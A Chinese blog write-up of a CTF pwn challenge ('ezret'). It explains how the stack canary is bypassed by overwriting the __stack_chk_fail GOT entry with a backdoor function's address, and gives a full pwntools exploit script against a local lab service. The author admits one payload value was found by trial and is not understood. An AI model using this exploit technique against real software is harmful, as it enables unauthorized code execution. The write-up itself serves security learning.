暑期集训ezret(学会看gdb)

64位ida打开并反汇编的main():


进入input_person函数:


仔细看可以找到一个特别的函数名win,点进去发现是后门:


根据ida看出程序的基本逻辑是输入name和age,输出age和name

很多时候ida会抽风(bushi),就比如operater=里面的参数没给,不过没关系,我们可以猜(),可以看出input_person里面v11(age)是个引用,而v12(name)是个指针,而我们输入的v3(name)是字符串(string),再根据c++运算符重载我们猜测operator=是让v12指向v3的地址。

看看保护:canary和NX

思路:

canary绕过中有一种方法:
在开启canary保护的程序中,如果canary不对,程序会转到stack_chk_fail函数执行。stack_chk_fail函数是一个普通的延迟绑定函数,可以通过修改GOT表劫持这个函数。
又已知后门函数地址,我们可以将后门函数地址写入v3,让v12指向它(注意operator=在运行时是从头开始读取,所以win的地址要存在开头),再根据延迟绑定机制将win地址写入stack_chk_fail的got表里,这样在触发canary保护时系统运行的就是后门函数了。

gdb调试

input_person处下断点,运行到函数即将结束时查看当前的栈


可以看到输入位置距离rbp为0x110(包括输入),而进入到主函数后v12指向v3的位置距离rbp为0x20,故中间填充部分大小为0x110+0x20-0x8=0x128(当然也可以使用ljust函数,0x130左对齐)

wp

from pwn import *

context(log_level='debug', arch="amd64", os='linux')

p=remote("127.0.0.1",40731)
#p = process("./ezret")

elf = ELF("./ezret")
 

stack_chk_fail_got = elf.got['__stack_chk_fail'] #0x404050

win_addr = 0x4012f6

#payload = p64(win_addr)
#payload = payload.ljust( 0x130,b'\x00')

payload = p64(win_addr)   #这占0x8
payload += b'\x00'*0x128    #加起来一共0x130,和注释的wp一个意思
#payload += p64(stack_chk_fail_got)   #这样本地可以,但远端打不过,跟debug行为有关(存个疑)

payload += flat(stack_chk_fail_got,0x6,0x3)
#gdb.attach(p)
#pause()
p.sendline( payload)
#pause()

p.sendline( b'46565')

p.interactive()

上述代码中payload += flat(stack_chk_fail_got,0x6,0x3),0x6的位置是string结构体的size部分,0x3的位置是试出来的,大于某个不知名的字节数就可以,具体原理听学长讲了几遍还是不能理解,等以后做到这类题再慢慢看吧QAQ......

posted @ 2024-07-16 14:25  V1V0  阅读(2)  评论(0编辑  收藏  举报